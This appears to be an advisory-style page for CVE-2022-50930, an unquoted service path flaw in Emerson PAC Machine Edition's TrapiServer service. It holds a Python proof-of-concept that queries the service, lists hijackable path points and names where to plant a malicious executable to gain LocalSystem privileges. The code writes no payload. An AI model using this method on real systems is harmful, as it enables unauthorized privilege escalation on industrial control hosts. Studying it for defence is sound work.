CVE-2022-50930 Emerson PAC Machine Edition TrapiServer服务未引用路径权限提升漏洞

# CVE-2022-50930 - Emerson PAC Machine Edition TrapiServer Unquoted Service Path Exploit # This PoC demonstrates how an unquoted service path can be exploited import os import subprocess import time def check_service_path(): """Check the TrapiServer service path configuration""" try: # Query the TrapiServer service configuration result = subprocess.run( ['sc', 'qc', 'TrapiServer'], capture_output=True, text=True ) print("Service Configuration:") print(result.stdout) return True except Exception as e: print(f"Error checking service: {e}") return False def check_vulnerability(): """Check if the service path is unquoted and exploitable""" # Example unquoted path that would be vulnerable vulnerable_path = "C:\\Program Files\\Emerson\\PAC Machine Edition\\TrapiServer.exe" print(f"[*] Checking service path: {vulnerable_path}") # Split path at spaces to show potential hijack points path_parts = vulnerable_path.split('\\') current_path = "" print("\n[*] Potential exploitation points:") for i, part in enumerate(path_parts[:-1]): current_path += part + "\\" potential_exe = current_path.rstrip('\\') + ".exe" print(f" - {potential_exe}") return vulnerable_path def create_exploit_payload(): """Generate a proof-of-concept malicious executable path""" # In a real attack, this would be the malicious executable # For demonstration, we show what path would be created exploit_path = "C:\\Program Files\\Emerson\\PAC.exe" print(f"\n[!] To exploit, create malicious executable at: {exploit_path}") print("[!] When TrapiServer service starts, it will execute this file first") print("[!] The malicious code will run with LocalSystem privileges") return exploit_path def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2022-50930 - Unquoted Service Path Exploitation") print("Target: Emerson PAC Machine Edition TrapiServer Service") print("=" * 60) # Step 1: Check service configuration print("\n[Step 1] Checking TrapiServer service configuration...") check_service_path() # Step 2: Identify vulnerable path print("\n[Step 2] Identifying unquoted service path...") vulnerable_path = check_vulnerability() # Step 3: Generate exploit payload location print("\n[Step 3] Generating exploitation strategy...") exploit_path = create_exploit_payload() print("\n[*] Exploitation requires:") print(" 1. Local access to the system") print(" 2. Write permissions to the target directory") print(" 3. Ability to restart the TrapiServer service") print("\n[!] This is a proof-of-concept demonstration only") if __name__ == "__main__": exploit()